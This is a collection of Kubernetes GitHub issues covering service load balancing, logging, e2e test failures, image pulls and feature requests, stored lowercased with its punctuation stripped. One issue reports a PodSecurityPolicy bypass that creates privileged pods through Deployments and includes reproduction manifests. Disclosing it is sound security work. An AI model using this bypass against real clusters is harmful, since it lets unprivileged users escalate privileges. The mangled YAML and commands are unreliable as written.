template\ : {            \ metadata\ : {                \ labels\ : {                    \ name\ : \ nginx\ ,                     \ version\ : \ latest\                 },                 \ namespace\ : \ default\             },             \ spec\ : {                \ containers\ :                      {                        \ image\ : \ nginx\ ,                         \ name\ : \ nginx\ ,                        \ command\ :                              \ /bin/bash\ ,                            \ -c\ ,                            \ service nginx start && sleep 3600\                          ,                        \ ports\ :   ,                         \ resources\ : {                            \ limits\ : {                                \ memory\ : \ 128mi\                             }                        }                    }                             }        }    }    }  root@ip-172-20-0-9:~  kubectl get po name          ready     status    restarts   age nginx-rbrob   1/1       running   0          18m nginx-ucp14   1/1       running   0          18m  2.2 run a service root@ip-172-20-0-9:~  kubectl describe service nginx name:                   nginx namespace:              default labels:                 <none> selector:               name=nginx type:                   clusterip ip:                     10.0.253.87 port:                   <unset> 40080/tcp endpoints:              10.244.1.4:80,10.244.1.5:80 session affinity:       none no events.  2.3 disable one endpoint by close nginx service root@ip-172-20-0-67:/home/ubuntu  docker exec -it 940c8b5b02b3 service nginx stop root@ip-172-20-0-67:/home/ubuntu  docker exec -it 940c8b5b02b3 service nginx status nginx is not running ... failed!  2.4 curl the nginx by service ip, it fails in half chance. root@ip-172-20-0-67:/home/ubuntu  curl -s -o /dev/null -w \ %{http_code}\  10.0.253.87:40080 200 root@ip-172-20-0-67:/home/ubuntu  curl -s -o /dev/null -w \ %{http_code}\  10.0.253.87:40080 000 root@ip-172-20-0-67:/home/ubuntu  curl -s -o /dev/null -w \ %{http_code}\  10.0.253.87:40080 000 root@ip-172-20-0-67:/home/ubuntu  curl -s -o /dev/null -w \ %{http_code}\  10.0.253.87:40080 200  2.5 curl elb will return 200 always root@ip-172-20-0-9:~  kubectl describe service nginx name:                   nginx namespace:              default labels:                 <none> selector:               name=nginx type:                   loadbalancer ip:                     10.0.145.10 loadbalancer ingress:   a99110e7402db11e6978d0663f446fd2-1127146940.us-east-1.elb.amazonaws.com port:                   <unset> 40080/tcp nodeport:               <unset> 32616/tcp endpoints:              10.244.1.4:80,10.244.1.5:80 session affinity:       none events:   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message  ---    18m           18m             1       {service-controller }                   normal          creatingloadbalancer    creating load balancer   18m           18m             1       {service-controller }                   normal          createdloadbalancer     created load balancer  $ for  i=1;i<=1000;i++  ;do curl -s -o /dev/null -w \ %{http_code}\  a99110e7402db11e6978d0663f446fd2-1126940.us-east-1.elb.amazonaws.com:40080 && sleep 0.1; done 200

if there're only three minion, five replicas. there're must two pods running in a same minion.deployment yaml like below:      apiversion: extensions/v1beta1 kind: deployment metadata:   labels:     add: deployment-standard   name: deployment-standard spec:   strategy:     type: rollingupdate     rollingupdate:       maxunavailable: 1       maxsurge: 1   replicas: 1   template:     metadata:       labels:         name: deployment-standard     spec:       containers:       - name: cc-web         image: aaaaaa/bjdocker/web:stable         volumemounts:           - name: log             mountpath: /search             readonly: false         ports:         - containerport: 8000         resources:           limits:             cpu: 1             memory: 4294967296       - name: cc-web-cc         image: aaaaaa/bjdocker/web-cc-2:stable         volumemounts:           - name: log             mountpath: /search             readonly: false         ports:         - containerport: 8001         resources:           limits:             cpu: 1             memory: 4294967296       volumes:         - name: log           hostpath:             path: /home/xxxxx      containera and containerb has the same logname access.log  and output in the same dir:/search. so they log output in the same file watch in host. is there any way i can distinguish their log?

hi there,  it appears someone has set an email address using the @crowdfunder.com domain. our catch-all is receiving every notification from this repo  or maybe parts of the repo but a lot of emails .   it's not affecting us in any way but i thought i would let you guys know.   cheers.

my command is below: kubectl exec -it c-engine-1613829755-v2bov -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\   >/dev/null 2>&1   &    when i press the enter key, & disappeared, the nohup command stopped and display error, how should i write to make it successful?  > > >  root@szxts10004464 logs   kubectl exec -it engine-1613829755-v2bov -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\   >/dev/null 2>&1   &   > > >  1  63616 > > >  root@szxts10004464 logs    > > >  > > >  1 +  stopped                 kubectl exec -it engine-1613829755-v2bov -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\  > /dev/null 2>&1 > > >  root@szxts10004464 logs    > > >  root@szxts10004464 logs    > > >  root@szxts10004464 logs   docker --version > > > docker version 1.12.1, build 23cf638 > > >  root@szxts10004464 logs

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/954/ multiple broken tests:  failed:  k8s.io  kubectl client  k8s.io  kubectl taint  serial  should update the taint on a node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 23:44:27.659: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335       failed:  k8s.io  schedulerpredicates  serial  validates that required nodeaffinity setting is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc4223cc100>: {         s: \ waiting for terminating namespaces to be deleted timed out\ ,     }     waiting for terminating namespaces to be deleted timed out not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:81     issues about this test specifically:  28071   failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 22:39:13.750: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335     issues about this test specifically:  37373   failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  daemonrestart  disruptive  kubelet should not restart containers across restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 23:01:45.402: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335     issues about this test specifically:  27502  28722  32037  38168   failed:  k8s.io  daemon set  serial  should run and stop simple daemon {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:131 error waiting for daemon pod to revive expected error:     < errors.errorstring | 0xc420417680>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:130     issues about this test specifically:  31428   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc42197bd50>: {         s: \ 2 / 10 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                     node                                         phase   grace conditions\ heapster-v1.3.0-1288166888-km2ls                        gke-bootstrap-e2e-default-pool-53ec4215-mc40 running 30s    {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:14:31 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:16:07 -0700 pdt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:14:31 -0700 pdt  } \ kube-proxy-gke-bootstrap-e2e-default-pool-53ec4215-mc40 gke-bootstrap-e2e-default-pool-53ec4215-mc40 running 30s    {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:06:23 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:15:53 -0700 pdt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:15:51 -0700 pdt  } \ \ ,     }     2 / 10 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                     node                                         phase   grace conditions     heapster-v1.3.0-1288166888-km2ls                        gke-bootstrap-e2e-default-pool-53ec4215-mc40 running 30s    {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:14:31 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:16:07 -0700 pdt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:14:31 -0700 pdt  }      kube-proxy-gke-bootstrap-e2e-default-pool-53ec4215-mc40 gke-bootstrap-e2e-default-pool-53ec4215-mc40 running 30s    {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-20 20:06:23 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:15:53 -0700 pdt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-20 22:15:51 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  34223   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 23:13:40.501: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335     issues about this test specifically:  27406  27669  29770  32642   failed:  k8s.io  logging soak  performance   slow   disruptive  should survive logging 1kb every 1s seconds, for a duration of 2m0s, scaling up to 1 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 23:40:33.023: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335       failed:  k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 20 22:57:43.378: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-53ec4215-mc40\  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335     issues about this test specifically:  28257  29159  29449  32447  37508  previous issues for this suite:  37161  38060  38205  40445  43394

failure cluster  d9148c8ad74587b9b4ce  https://go.k8s.io/triage d9148c8ad74587b9b4ce        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/latest-1.5 --gce-upgrade-script=/workspace/kubernetes_skew/cluster/gce/upgrade.sh --etcd-upgrade-storage=etcd2 --etcd-upgrade-version=2.2.1: exit status 1           failure cluster statistics: 1 tests failed,    1 jobs failed,    65 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 65 |  15 may 2017 19:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/2840  |   current status  https://go.k8s.io/triage d9148c8ad74587b9b4ce

it is possible to leave both of these fields unset, which is confusing. should be a simple validation change.\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kube-aggregator/pkg/apis/apiregistration/types.go l50-l54

failure cluster  d6b0a53335b492422646  https://go.k8s.io/triage d6b0a53335b492422646        error text:     jun 24 20:59:02.000: failed to delete 1 or more pvs/pvcs and/or the gce volume. errors:  failed to delete pvc \ pvc-rbl6v\ : pvc delete api error: delete https://35.188.88.31/api/v1/namespaces/e2e-tests-persistent-volume-upgrade-nc11w/persistentvolumeclaims/pvc-rbl6v: dial tcp 35.188.88.31:443: getsockopt: connection refused, failed to delete pv \ pv-upgradejkxkq\ : pv delete api error: delete https://35.188.88.31/api/v1/persistentvolumes/pv-upgradejkxkq: dial tcp 35.188.88.31:443: getsockopt: connection refused   k8s.io/kubernetes/test/e2e/upgrades.  persistentvolumeupgradetest .teardown 0x56e0500, 0xc420aa6a80  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/persistent_volumes.go:105 +0x1aa panic 0x3553280, 0xc420176380  \t/usr/local/go/src/runtime/panic.go:489 +0x2cf k8s.io/kubernetes/test/e2e/framework/ginkgowrapper.fail.func1 0xc42140f200, 0x2e2, 0x5210a54, 0x60, 0x4c, 0xc4200d9200, 0x8b8  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ginkgowrapper/wrapper.go:63 +0x9c panic 0x3064240, 0xc420e8eec0  \t/usr/local/go/src/runtime/panic.go:489 +0x2cf k8s.io/kubernetes/test/e2e/framework/ginkgowrapper.fail 0xc42140f200, 0x2e2, 0xc420e8ed80, 0x1, 0x1  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ginkgowrapper/wrapper.go:67 +0x19b k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion.  assertion .match 0xc42148dec0, 0x5498de0, 0x5705230, 0x0, 0xc420e8e620, 0x1, 0x1, 0x5705230  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion/assertion.go:69 +0x1ef k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion.  assertion .notto 0xc42148dec0, 0x5498de0, 0x5705230, 0xc420e8e620, 0x1, 0x1, 0x54a4e20  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion/assertion.go:43 +0xae k8s.io/kubernetes/test/e2e/framework.expectnoerrorwithoffset 0x1, 0x5481de0, 0xc420f75530, 0xc420e8e620, 0x1, 0x1  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1935 +0x14f k8s.io/kubernetes/test/e2e/framework.expectnoerror 0x5481de0, 0xc420f75530, 0xc420e8e620, 0x1, 0x1  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1926 +0x5c k8s.io/kubernetes/test/e2e/framework.  podclient .create 0xc420ea1720, 0xc42109e300, 0x29  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:76 +0x114 k8s.io/kubernetes/test/e2e/framework.  framework .matchcontaineroutput 0xc420aa6a80, 0xc42109e300, 0x37c7b23, 0x9, 0xc421335e98, 0x1, 0x1, 0x38f2b20, 0x0, 0x0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2240 +0xdc k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutputmatcher 0xc420aa6a80, 0x37d8703, 0xf, 0xc42109e300, 0x0, 0xc42072fe98, 0x1, 0x1, 0x38f2b20  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2224 +0x20d k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutput 0xc420aa6a80, 0x37d8703, 0xf, 0xc42109e300, 0x0, 0xc42072fe98, 0x1, 0x1  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:400 +0x8a k8s.io/kubernetes/test/e2e/upgrades.  persistentvolumeupgradetest .testpod 0x56e0500, 0xc420aa6a80, 0x38250ae, 0x20  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/persistent_volumes.go:113 +0xfc k8s.io/kubernetes/test/e2e/upgrades.  persistentvolumeupgradetest .test 0x56e0500, 0xc420aa6a80, 0xc421306ea0, 0x2  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/persistent_volumes.go:95 +0xa5 k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc4219f6140, 0xc42107f120  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc42107f120  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34 k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc42107f120, 0xc4203ac5b0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76 created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7           failure cluster statistics: 1 tests failed,    27 jobs failed,    89 builds failed. failure stats cover 1 day time range '27 jun 2017 20:13 utc' to '28 jun 2017 20:13 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | persistent-volume-upgrade | 27 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-latest-upgrade-master | 9 |  28 jun 2017 13:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-master/106  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 9 |  28 jun 2017 13:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/106  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master | 8 |  28 jun 2017 17:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master/89  |   current status  https://go.k8s.io/triage d6b0a53335b492422646

after converting the update demo tests to go and making them mimic the readme as closely as possible, we found that  running the kubectl proxy was unreliable  https://github.com/googlecloudplatform/kubernetes/issues/5084  and switched to making calls directly to the kubernetes apiserver instead. this significantly increased the reliability of the e2e tests but we lost test coverage of the kubectl proxy functionality  which appeared to be flaky .   we need to reinstate e2e test coverage for kubectl proxy  either back in the kubectl test or in a separate test  as well as investigate and fix any reliability problems running the proxy itself.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r when i create a daemonset or a deployment as a unprivileged user or an unprivileged serviceaccount  rbac & podsecuritypolicy  the podsecuritypolicies are beeing ignored, so it is possible to bypass the psp to create privileged pods from daemonsets, deployments etc..\r \r \r   what you expected to happen  :\r the creation of the privileged pods through deployments, daemonsets etc. should be denied for unprivileged users/serviceaccounts by a forbidden message.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r     psp    \r    \r apiversion: v1\r items:\r - apiversion: extensions/v1beta1\r   kind: podsecuritypolicy\r   metadata:\r     name: privileged\r     namespace: \ \ \r   spec:\r     fsgroup:\r       rule: runasany\r     hostnetwork: true\r     hostpid: true\r     hostports:\r     - max: 65535\r       min: 1\r     privileged: true\r     runasuser:\r       rule: runasany\r     selinux:\r       rule: runasany\r     supplementalgroups:\r       rule: runasany\r     volumes:\r     - ' '\r - apiversion: extensions/v1beta1\r   kind: podsecuritypolicy\r   metadata:\r     name: restricted\r     namespace: \ \ \r   spec:\r     fsgroup:\r       rule: runasany\r     runasuser:\r       rule: runasany\r     selinux:\r       rule: runasany\r     supplementalgroups:\r       rule: runasany\r     volumes:\r     - emptydir\r     - secret\r     - configmap\r kind: list\r metadata: {}\r resourceversion: \ \ \r    \r \r     clusterrole    \r    \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: restricted-user\r rules:\r - apigroups:\r   - extensions\r   resourcenames:\r   - restricted\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r    \r \r     clusterrolebinding    \r    \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r   name: restricted-users\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: restricted-user\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: user\r   name: user\r - namespace: default\r   kind: serviceaccount\r   name: default\r    \r \r     test deployment    \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test-privileged\r   labels:\r     app: test\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: test\r     spec:\r       serviceaccount: default\r       serviceaccountname: default\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r         securitycontext:\r           privileged: true\r    \r \r   anything else we need to know?  :\r the restricted psp works as expected in normal pod creation by \ restricted\  users:\r \ error from server  forbidden : error when creating \ nginx-priv.yml\ : pods \ nginx\  is forbidden: unable to validate against any pod security policy:  spec.containers 0 .securitycontext.privileged: invalid value: true: privileged containers are not allowed \ \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : container linux by coreos 1409.7.0  ladybug \r - kernel  e.g.  uname -a  : 4.11.11-coreos\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r ref https://github.com/kubernetes/kubernetes/issues/52347. we sometimes get into trouble that deleting network in ci jobs fails due to the leaked sub resources, basically:\r - firewall rules.\r - network routes.\r \r https://github.com/kubernetes/kubernetes/pull/53626 added the logic to cleanup remaining firewall rules. i think it also makes sense to cleanup leaked network routes so that ci jobs can be more robust.\r \r   what you expected to happen  :\r we should be able to cleanup network resource in ci jobs every time.\r \r   anything else we need to know?  :\r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is not much value in keeping a few components in plugin/cmd/ and plugin/pkg when everything else lives in cmd/ and pkg/\r \r   what you expected to happen  :\r \r components that would be moved:\r plugin/cmd/kube-scheduler\r plugin/pkg/scheduler\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @thockin \r 

 \r \r   what happened  :\r \r i want to deploy a pod using  k8s-device-plugin:1.9 :\r \r    \r $ systemctl status kubelet -l\r 7月 16 19:05:15 test-0.localdomain kubelet 3450 : e0716 19:05:15.040853    3450 remote_image.go:108  pullimage \ 10.0.30.220:9980/test/k8s-device-plugin:1.9\  from image service failed: rpc error: code = unknown desc = failed to register layer: symlink ../b92c56e4b383fd8d014c0879cd029974e542dcf136c4addb37ce84d217bad2e8/diff /docker/overlay2/l/fnsbemyabm6ongmulycjsya6t7: no such file or directory\r 7月 16 19:05:15 test-0.localdomain kubelet 3450 : e0716 19:05:15.040960    3450 kuberuntime_image.go:50  pull image \ 10.0.30.220:9980/test/k8s-device-plugin:1.9\  failed: rpc error: code = unknown desc = failed to register layer: symlink ../b92c56e4b383fd8d014c0879cd029974e542dcf136c4addb37ce84d217bad2e8/diff /docker/overlay2/l/fnsbemyabm6ongmulycjsya6t7: no such file or directory\r    \r \r i do not find symlink or file named as above with  find , then i login test-0 node and run below cmd:\r    \r  root@test-0 ~   docker pull 10.0.30.220:9980/test/k8s-device-plugin:1.9\r 1.9: pulling from skydiscovery/k8s-device-plugin\r digest: sha256:7ba244bce75da00edd907209fe4cf7ea8edd0def5d4de71939899534134aea31\r status: image is up to date for 10.0.30.220:9980/test/k8s-device-plugin:1.9\r  root@test-0 ~   docker images | grep device-plugin\r 10.0.30.220:9980/test/k8s-device-plugin        1.9                  fe3e6b0d95b5        3 months ago        63mb\r    \r the result makes me confused.\r \r i think it maybe last failure lead some symlink or file do not clean then result in pullerror.\r \r but i reboot this machine still failed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r   what you expected to happen  :\r basically implements this todo in device manager allocatecontainerresources  :\r \ todo: refactor this part of code to just append a containerallocationrequest\r in a passed in allocaterequest pointer, and issues a single allocate call per pod.\ \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r feature request\r \r   what happened  :\r \r the e2e galera statefulset runs well but has no way to set a root password.   is there way to set the root password for this install?\r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/testing-manifests/statefulset/mysql-galera/statefulset.yaml\r \r 

there should be a persistent volume plugin that: 1.  lets a user make a claim on a node's local storage 2.  ensures the scheduler places the pod on a node with the available storage 3.  provides host-stickiness so that the pod is restarted on the same node  the use-case for this is for applications that require local storage for performance reasons. initially we may need to expand this to include the ability to specify performance characteristics of the storage such as iops, io bandwidth, etc.  this is a use-case that @jmccormick2001 needs for a product he's working on.  did i capture your requirements correctly, jeff?  cc @markturansky @thockin

what would you like to be added  : a new e2e test for validating the preference among the two different parameters for deciding on pod failure status. activedeadlineseconds refers to the duration of the job, no matter how many pods are created and backofflimit refers to the number of retries before the job is deemed to have failed. in a scenario wherein both the parameters are specified, activedeadlineseconds takes precedence even if the backofflimit isn't reached.\r \r link: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/ job-termination-and-cleanup\r extract from the link: \ note that a job’s .spec.activedeadlineseconds takes precedence over its .spec.backofflimit. therefore, a job that is retrying one or more failed pods will not deploy additional pods once it reaches the time limit specified by activedeadlineseconds, even if the backofflimit is not yet reached.\ \r \r   why is this needed  : this e2e is needed so as to verify the pod lifecycle behaviour in case of specifying both activedeadlineseconds and backofflimit in the configuration.\r \r --------------------------------------------------------------------------------------------------------------------------------\r sample configuration file:\r \r apiversion: batch/v1\r kind: job\r metadata:\r   name: pi\r spec:\r   template:\r     spec:\r       containers:\r       - name: pi\r         image: polinux/stress\r         resources:\r          requests:\r            memory: \ 10mi\ \r          limits:\r            memory: \ 11mi\ \r         command:  \ stress\  \r         args:  \ --vm\ , \ 1\ , \ --vm-bytes\ , \ 2100m\ , \ --vm-hang\ , \ 1\  \r       restartpolicy: onfailure\r   backofflimit: 3\r   activedeadlineseconds: 60\r \r --------------------------------------------------------------------------------------------------------------------------------\r in the above scenario, activedeadlineseconds duration is reached even before backofflimit count and the pod is removed.\r \r  \r cc @brahmaroutu @mgdevstack

